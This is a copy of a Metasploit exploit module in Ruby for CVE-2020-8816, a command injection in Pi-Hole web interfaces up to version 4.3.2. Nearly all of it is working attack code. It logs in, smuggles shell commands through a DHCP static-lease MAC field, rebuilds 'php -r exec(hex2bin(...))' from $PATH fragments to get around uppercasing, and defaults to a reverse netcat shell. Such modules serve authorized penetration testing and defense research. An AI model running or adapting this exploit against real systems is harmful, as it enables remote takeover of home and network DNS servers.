Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HTTP::Pihole1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Pi-Hole DHCP MAC OS Command Execution',16'Description' => %q{17This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added18with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first19in the $PATH due to exploitation constraints. DHCP server is not required to be running.20},21'License' => MSF_LICENSE,22'Author' => [23'h00die', # msf module24'François Renaud-Philippon <[email protected]>' # original PoC, discovery25],26'References' => [27['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],28['CVE', '2020-8816']29],30'Platform' => ['unix'],31'Privileged' => false,32'Arch' => ARCH_CMD,33'Targets' => [34[ 'Automatic Target', {}]35],36'DisclosureDate' => '2020-03-28',37'DefaultTarget' => 0,38'DefaultOptions' => {39'PAYLOAD' => 'cmd/unix/reverse_netcat'40},41'Payload' => {42'BadChars' => "\x00"43},44'Notes' => {45'Stability' => [CRASH_SAFE],46'Reliability' => [REPEATABLE_SESSION],47'SideEffects' => [IOC_IN_LOGS],48'RelatedModules' => ['exploit/linux/local/pihole_remove_commands_lpe']49}50)51)52register_options(53[54Opt::RPORT(80),55OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])56]57)58end5960def check61begin62_version, web_version, _ftl = get_versions6364if web_version.nil?65print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")66return Exploit::CheckCode::Unknown67end6869if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')70vprint_good("Web Interface Version Detected: #{web_version}")71return CheckCode::Appears72else73vprint_bad("Web Interface Version Detected: #{web_version}")74return CheckCode::Safe75end76rescue ::Rex::ConnectionError77print_error("#{peer} - Could not connect to the web service")78return Exploit::CheckCode::Unknown79end80CheckCode::Safe81end8283def add_static(payload, token)84# we don't use vars_post due to the need to have duplicate fields85send_request_cgi(86'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),87'ctype' => 'application/x-www-form-urlencoded',88'method' => 'POST',89'keep_cookies' => true,90'vars_get' => {91'tab' => 'piholedhcp'92},93'data' => [94'AddMAC=',95'AddIP=',96'AddHostname=',97"AddMAC=#{URI.encode_www_form_component(payload)}",98"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s99"AddHostname=#{rand_text_alphanumeric(8..12)}",100'addstatic=',101'field=DHCP',102"token=#{URI.encode_www_form_component(token)}"103].join('&')104)105end106107def exploit108if check != CheckCode::Appears109fail_with(Failure::NotVulnerable, 'Target is not vulnerable')110end111112begin113@macs = []114# get cookie115res = send_request_cgi(116'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),117'keep_cookies' => true118)119120# check login121res = send_request_cgi(122'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),123'keep_cookies' => true,124'vars_get' => {125'tab' => 'piholedhcp'126}127)128129# check if we got hit by a login prompt130if res && res.body.include?('Sign in to start your session')131res = login(datastore['PASSWORD'])132fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if res.nil?133end134135token = get_token('piholedhcp')136137if token.nil?138fail_with(Failure::UnexpectedReply, 'Unable to find token')139end140print_status("Using token: #{token}")141142# from the excellent writeup about the vuln:143# The biggest difficulty in exploiting this vulnerability is that the user input is144# capitalized through a call to "strtoupper". Because of this, no lower case character145# can be used in the resulting injection.146147# we'd like to execute something similar to this:148# aaaaaaaaaaaa&&php -r 'PAYLOAD'149# however, we need to pull p, h, and r from the system due to all input getting capitalized150# this is performed by pulling them from the $PATH which should be something like151# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin152# first payload we send is to check that this is in the path to verify exploitation is possible153mac = rand_text_hex(12).upcase154@macs << mac155vprint_status("Validating path with MAC: #{mac}")156res = add_static("#{mac}$PATH", token)157158# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~159env = res.body.match(/value="#{mac}(?<env>.*)">/)160if env && env[:env].starts_with?('/opt/pihole')161print_good("System env path exploitable: #{env[:env]}")162else163msg = '/opt/pihole not in path. Exploitation not possible.'164if env165msg += " Path: #{env[:env]}"166end167fail_with(Failure::UnexpectedReply, msg)168end169170# once we have php -r, we then need to pass a payload. So we do this via php command171# exec on hex2bin since our payload in hex caps will still get processed and executed.172173mac = rand_text_hex(12).upcase174@macs << mac175print_status("Payload MAC will be: #{mac}")176shellcode = "#{mac}&&" # mac address, arbitrary177shellcode << 'W=${PATH#/???/}&&'178shellcode << 'P=${W%%?????:*}&&'179shellcode << 'X=${PATH#/???/??}&&'180shellcode << 'H=${X%%???:*}&&'181shellcode << 'Z=${PATH#*:/??}&&'182shellcode << 'R=${Z%%/*}&&$'183shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(184shellcode << '"'185shellcode << payload.encoded.unpack('H*').join('') # hex encode payload186shellcode << '"));'187shellcode << "'&&"188189vprint_status("Shellcode: #{shellcode}")190print_status('Sending Exploit')191add_static(shellcode, token)192193# we don't use vars_post due to the need to have duplicate fields194ip = '192.168'1952.times { ip = "#{ip}.#{rand_text_numeric(1..2).to_i}" } # to_i removes leading zeroes196send_request_cgi(197'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),198'ctype' => 'application/x-www-form-urlencoded',199'keep_cookies' => true,200'method' => 'POST',201'vars_get' => {202'tab' => 'piholedhcp'203},204'data' => [205'AddMAC=',206'AddIP=',207'AddHostname=',208"AddMAC=#{URI.encode_www_form_component(shellcode)}",209"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s210"AddHostname=#{rand_text_alphanumeric(3..8)}",211'addstatic=',212'field=DHCP',213"token=#{URI.encode_www_form_component(token)}"214].join('&')215)216217# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf218rescue ::Rex::ConnectionError219fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")220end221end222223def on_new_session(session)224super225@macs.each do |mac|226print_status("Attempting to clean #{mac} from config")227session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")228end229end230end231232233